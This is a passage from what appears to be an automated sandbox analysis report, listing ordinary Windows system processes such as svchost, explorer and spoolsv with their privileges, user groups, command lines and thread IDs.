"c:\\windows\\system32\\svchost.exe" page_root = "0x1eabb000" os_pid = "0x2b4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b9a8" [0xc000000f], "LOCAL" [0x7] Thread: id = 635 os_tid = 0x2b8 Thread: id = 637 os_tid = 0x2c4 Thread: id = 641 os_tid = 0x2d4 Thread: id = 643 os_tid = 0x2dc Thread: id = 644 os_tid = 0x2e0 Thread: id = 649 os_tid = 0x2f4 Thread: id = 652 os_tid = 0x304 Thread: id = 668 os_tid = 0x348 Thread: id = 670 os_tid = 0x350 Thread: id = 673 os_tid = 0x35c Thread: id = 674 os_tid = 0x360 Thread: id = 676 os_tid = 0x368 Thread: id = 688 os_tid = 0x39c Thread: id = 689 os_tid = 0x3a0 Thread: id = 690 os_tid = 0x3a4 Thread: id = 693 os_tid = 0x3b4 Thread: id = 695 os_tid = 0x3bc Thread: id = 754 os_tid = 0x418 Thread: id = 761 os_tid = 0x438 Thread: id = 762 os_tid = 0x43c Thread: id = 767 os_tid = 0x454 Thread: id = 772 os_tid = 0x46c Thread: id = 773 os_tid = 0x470 Thread: id = 850 os_tid = 0x5b4 Thread: id = 873 os_tid = 0x614 Thread: id = 874 os_tid = 0x618 Thread: id = 875 os_tid = 0x61c Thread: id = 887 os_tid = 0x64c Thread: id = 898 os_tid = 0x680 Thread: id = 899 os_tid = 0x684 Thread: id = 900 os_tid = 0x688 Thread: id = 904 os_tid = 0x698 Thread: id = 905 os_tid = 0x69c Process: id = "49" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0xc403000" os_pid = "0x2fc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x188" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 651 os_tid = 0x300 Thread: id = 653 os_tid = 0x30c Thread: id = 654 os_tid = 0x310 Thread: id = 656 os_tid = 0x314 Thread: id = 657 os_tid = 0x31c Thread: id = 658 os_tid = 0x320 Thread: id = 661 os_tid = 0x328 Thread: id = 662 os_tid = 0x330 Thread: id = 663 os_tid = 0x334 Thread: id = 664 os_tid = 0x338 Thread: id = 815 os_tid = 0x528 Process: id = "50" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9dc4000" os_pid = "0x340" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ce41" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 667 os_tid = 0x344 Thread: id = 669 os_tid = 0x34c Thread: id = 671 os_tid = 0x354 Thread: id = 672 os_tid = 0x358 Thread: id = 675 os_tid = 0x364 Thread: id = 678 os_tid = 0x374 Thread: id = 680 os_tid = 0x37c Thread: id = 681 os_tid = 0x380 Thread: id = 682 os_tid = 0x384 Thread: id = 684 os_tid = 0x38c Thread: id = 698 os_tid = 0x3c8 Thread: id = 699 os_tid = 0x3cc Thread: id = 702 os_tid = 0x3dc Thread: id = 704 os_tid = 0x3e4 Thread: id = 706 os_tid = 0x3ec Thread: id = 707 os_tid = 0x3f0 Thread: id = 710 os_tid = 0xc8 Thread: id = 711 os_tid = 0xd0 Thread: id = 743 os_tid = 0x110 Thread: id = 748 os_tid = 0x20c Thread: id = 763 os_tid = 0x440 Thread: id = 765 os_tid = 0x44c Thread: id = 926 os_tid = 0x6f4 Thread: id = 928 os_tid = 0x6fc Thread: id = 929 os_tid = 0x700 Thread: id = 930 os_tid = 0x704 Thread: id = 931 os_tid = 0x708 Thread: id = 963 os_tid = 0x78c Thread: id = 964 os_tid = 0x790 Thread: id = 965 os_tid = 0x79c Thread: id = 976 os_tid = 0x7c8 Thread: id = 987 os_tid = 0x7f4 Thread: id = 991 os_tid = 0x410 Thread: id = 996 os_tid = 0x208 Process: id = "51" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9ecc000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d1b9" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 677 os_tid = 0x370 Thread: id = 679 os_tid = 0x378 Thread: id = 683 os_tid = 0x388 Thread: id = 685 os_tid = 0x390 Thread: id = 686 os_tid = 0x394 Thread: id = 687 os_tid = 0x398 Thread: id = 700 os_tid = 0x3d0 Thread: id = 703 os_tid = 0x3e0 Thread: id = 705 os_tid = 0x3e8 Thread: id = 709 os_tid = 0x3fc Thread: id = 713 os_tid = 0xf4 Thread: id = 714 os_tid = 0x104 Thread: id = 726 os_tid = 0x130 Thread: id = 727 os_tid = 0x12c Thread: id = 735 os_tid = 0x204 Thread: id = 736 os_tid = 0x254 Thread: id = 755 os_tid = 0x420 Thread: id = 780 os_tid = 0x48c Thread: id = 781 os_tid = 0x490 Thread: id = 782 os_tid = 0x494 Thread: id = 794 os_tid = 0x41c Thread: id = 797 os_tid = 0x4ac Thread: id = 802 os_tid = 0x4d8 Thread: id = 812 os_tid = 0x514 Thread: id = 932 os_tid = 0x70c Thread: id = 933 os_tid = 0x710 Thread: id = 937 os_tid = 0x720 Thread: id = 938 os_tid = 0x724 Thread: id = 939 os_tid = 0x728 Thread: id = 940 os_tid = 0x72c Thread: id = 941 os_tid = 0x730 Thread: id = 942 os_tid = 0x734 Thread: id = 943 os_tid = 0x738 Thread: id = 944 os_tid = 0x73c Thread: id = 946 os_tid = 0x740 Thread: id = 948 os_tid = 0x748 Thread: id = 949 os_tid = 0x74c Thread: id = 951 os_tid = 0x754 Thread: id = 953 os_tid = 0x75c Thread: id = 958 os_tid = 0x778 Thread: id = 995 os_tid = 0x468 Thread: id = 1008 os_tid = 0x4a0 Thread: id = 1010 os_tid = 0x4d4 Thread: id = 1012 os_tid = 0x4e0 Thread: id = 1013 os_tid = 0x4c4 Thread: id = 1015 os_tid = 0x488 Thread: id = 1021 os_tid = 0x314 Process: id = "52" image_name = "audiodg.exe" filename = "c:\\windows\\system32\\audiodg.exe" page_root = "0x860e000" os_pid = "0x3a8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "48" os_parent_pid = "0x2b4" cmd_line = "C:\\Windows\\system32\\AUDIODG.EXE 0x2dc" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b9a8" [0xc000000f], "LOCAL" [0x7] Thread: id = 691 os_tid = 0x3ac Thread: id = 692 os_tid = 0x3b0 Thread: id = 694 os_tid = 0x3b8 Thread: id = 696 os_tid = 0x3c0 Thread: id = 697 os_tid = 0x3c4 Thread: id = 865 os_tid = 0x5f8 Thread: id = 866 os_tid = 0x5fc Thread: id = 876 os_tid = 0x620 Thread: id = 878 os_tid = 0x628 Thread: id = 879 os_tid = 0x62c Thread: id = 880 os_tid = 0x630 Process: id = "53" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x93db000" os_pid = "0x3f4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e09d" [0xc000000f], "LOCAL" [0x7] Thread: id = 708 os_tid = 0x3f8 Thread: id = 712 os_tid = 0xf8 Thread: id = 715 os_tid = 0x108 Thread: id = 718 os_tid = 0x114 Thread: id = 719 os_tid = 0x118 Thread: id = 721 os_tid = 0x13c Thread: id = 725 os_tid = 0x138 Thread: id = 756 os_tid = 0x424 Thread: id = 835 os_tid = 0x578 Thread: id = 959 os_tid = 0x77c Thread: id = 961 os_tid = 0x784 Thread: id = 962 os_tid = 0x788 Thread: id = 973 os_tid = 0x7bc Thread: id = 978 os_tid = 0x7d0 Thread: id = 1006 os_tid = 0x414 Thread: id = 1009 os_tid = 0x4b0 Thread: id = 1011 os_tid = 0x44c Thread: id = 1014 os_tid = 0x4c0 Thread: id = 1016 os_tid = 0x4a8 Thread: id = 1017 os_tid = 0x470 Thread: id = 1018 os_tid = 0x320 Process: id = "54" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x7535000" os_pid = "0x148" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x240" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d1b9" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 728 os_tid = 0x174 Thread: id = 729 os_tid = 0x160 Thread: id = 730 os_tid = 0x15c Thread: id = 731 os_tid = 0x1ac Thread: id = 732 os_tid = 0x208 Thread: id = 733 os_tid = 0x1c8 Thread: id = 734 os_tid = 0x20c Process: id = "55" image_name = "userinit.exe" filename = "c:\\windows\\system32\\userinit.exe" page_root = "0x5fa9000" os_pid = "0x280" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x188" cmd_line = "C:\\Windows\\system32\\userinit.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 737 os_tid = 0x2a0 Thread: id = 908 os_tid = 0x6a8 Thread: id = 910 os_tid = 0x6b0 Process: id = "56" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x77ce000" os_pid = "0x2f0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "55" os_parent_pid = "0x280" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 738 os_tid = 0x364 Thread: id = 739 os_tid = 0x374 Thread: id = 740 os_tid = 0x3a0 Thread: id = 744 os_tid = 0x144 Thread: id = 745 os_tid = 0x118 Thread: id = 746 os_tid = 0x12c Thread: id = 747 os_tid = 0x3d0 Thread: id = 749 os_tid = 0x404 Thread: id = 751 os_tid = 0x414 Thread: id = 774 os_tid = 0x474 Thread: id = 783 os_tid = 0x498 Thread: id = 784 os_tid = 0x49c Thread: id = 786 os_tid = 0x4a0 Thread: id = 787 os_tid = 0x4a4 Thread: id = 788 os_tid = 0x4a8 Thread: id = 790 os_tid = 0x4b0 Thread: id = 791 os_tid = 0x4b4 Thread: id = 792 os_tid = 0x4b8 Thread: id = 793 os_tid = 0x4bc Thread: id = 795 os_tid = 0x4d0 Thread: id = 796 os_tid = 0x4d4 Thread: id = 800 os_tid = 0x4dc Thread: id = 801 os_tid = 0x4e0 Thread: id = 804 os_tid = 0x4f4 Thread: id = 806 os_tid = 0x4f8 Thread: id = 822 os_tid = 0x544 Thread: id = 825 os_tid = 0x554 Thread: id = 836 os_tid = 0x57c Thread: id = 838 os_tid = 0x58c Thread: id = 844 os_tid = 0x59c Thread: id = 845 os_tid = 0x5a0 Thread: id = 854 os_tid = 0x5c4 Thread: id = 855 os_tid = 0x5c8 Thread: id = 859 os_tid = 0x5d8 Thread: id = 861 os_tid = 0x5e4 Thread: id = 863 os_tid = 0x5f0 Thread: id = 967 os_tid = 0x7a0 Thread: id = 975 os_tid = 0x7c4 Thread: id = 980 os_tid = 0x7d8 Thread: id = 982 os_tid = 0x7e0 Thread: id = 988 os_tid = 0x7f8 Process: id = "57" image_name = "dwm.exe" filename = "c:\\windows\\system32\\dwm.exe" page_root = "0x662c000" os_pid = "0x408" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "50" os_parent_pid = "0x340" cmd_line = "\"C:\\Windows\\system32\\Dwm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 752 os_tid = 0x40c Thread: id = 757 os_tid = 0x428 Thread: id = 758 os_tid = 0x42c Thread: id = 759 os_tid = 0x430 Thread: id = 760 os_tid = 0x434 Thread: id = 907 os_tid = 0x6a4 Thread: id = 909 os_tid = 0x6ac Process: id = "58" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7fb000" os_pid = "0x444" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:00010a93" [0xc000000f], "LOCAL" [0x7] Thread: id = 764 os_tid = 0x448 Thread: id = 766 os_tid = 0x450 Thread: id = 768 os_tid = 0x458 Thread: id = 769 os_tid = 0x45c Thread: id = 770 os_tid = 0x460 Thread: id = 771 os_tid = 0x464 Thread: id = 775 os_tid = 0x478 Thread: id = 776 os_tid = 0x47c Thread: id = 777 os_tid = 0x480 Thread: id = 778 os_tid = 0x484 Thread: id = 779 os_tid = 0x488 Thread: id = 814 os_tid = 0x51c Thread: id = 892 os_tid = 0x660 Thread: id = 896 os_tid = 0x674 Thread: id = 916 os_tid = 0x6c8 Thread: id = 917 os_tid = 0x6d0 Thread: id = 919 os_tid = 0x6d8 Thread: id = 921 os_tid = 0x6e0 Thread: id = 922 os_tid = 0x6e4 Thread: id = 923 os_tid = 0x6e8 Thread: id = 924 os_tid = 0x6ec Thread: id = 925 os_tid = 0x6f0 Thread: id = 945 os_tid = 0x6cc Thread: id = 999 os_tid = 0x1ac Thread: id = 1004 os_tid = 0x460 Process: id = "59" image_name = "bcssync.exe" filename = "c:\\program files\\microsoft office\\office14\\bcssync.exe" page_root = "0x7b4b0000" os_pid = "0x4c0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "56" os_parent_pid = "0x2f0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe\" /DelayServices" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 798 os_tid = 0x4c4 Process: id = "60" image_name = "runonce.exe" filename = "c:\\windows\\syswow64\\runonce.exe" page_root = "0x7acbb000" os_pid = "0x4c8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "56" os_parent_pid = "0x2f0" cmd_line = "C:\\Windows\\SysWOW64\\runonce.exe /Run6432" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 799 os_tid = 0x4cc Thread: id = 807 os_tid = 0x4fc Thread: id = 811 os_tid = 0x510 Thread: id = 823 os_tid = 0x548 Thread: id = 827 os_tid = 0x55c Process: id = "61" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x78702000" os_pid = "0x500" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:000164db" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 808 os_tid = 0x504 Thread: id = 813 os_tid = 0x518 Thread: id = 816 os_tid = 0x520 Thread: id = 817 os_tid = 0x524 Thread: id = 819 os_tid = 0x534 Thread: id = 831 os_tid = 0x564 Process: id = "62" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x8873000" os_pid = "0x52c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x240" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 818 os_tid = 0x530 Thread: id = 832 os_tid = 0x568 Thread: id = 840 os_tid = 0x588 Thread: id = 841 os_tid = 0x590 Thread: id = 842 os_tid = 0x594 Thread: id = 843 os_tid = 0x598 Thread: id = 856 os_tid = 0x5cc Process: id = "63" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0xbc78000" os_pid = "0x538" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 820 os_tid = 0x53c Thread: id = 833 os_tid = 0x56c Thread: id = 839 os_tid = 0x584 Thread: id = 849 os_tid = 0x5b0 Thread: id = 851 os_tid = 0x5b8 Thread: id = 852 os_tid = 0x5bc Thread: id = 857 os_tid = 0x5d0 Thread: id = 858 os_tid = 0x5d4 Thread: id = 868 os_tid = 0x604 Thread: id = 870 os_tid = 0x60c Thread: id = 871 os_tid = 0x610 Thread: id = 877 os_tid = 0x624 Thread: id = 895 os_tid = 0x670 Process: id = "64" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x76393000" os_pid = "0x570" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:000198d8" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 834 os_tid = 0x574 Thread: id = 837 os_tid = 0x580 Thread: id = 846 os_tid = 0x5a4 Thread: id = 847 os_tid = 0x5a8 Thread: id = 848 os_tid = 0x5ac Thread: id = 853 os_tid = 0x5c0 Thread: id = 869 os_tid = 0x608 Thread: id = 884 os_tid = 0x640 Thread: id = 885 os_tid = 0x644 Thread: id = 886 os_tid = 0x648 Thread: id = 890 os_tid = 0x658 Thread: id = 891 os_tid = 0x65c Thread: id = 893 os_tid = 0x664 Thread: id = 901 os_tid = 0x68c Thread: id = 902 os_tid = 0x690 Thread: id = 903 os_tid = 0x694 Thread: id = 918 os_tid = 0x6d4 Thread: id = 920 os_tid = 0x6dc Thread: id = 960 os_tid = 0x780 Thread: id = 969 os_tid = 0x7a8 Thread: id = 972 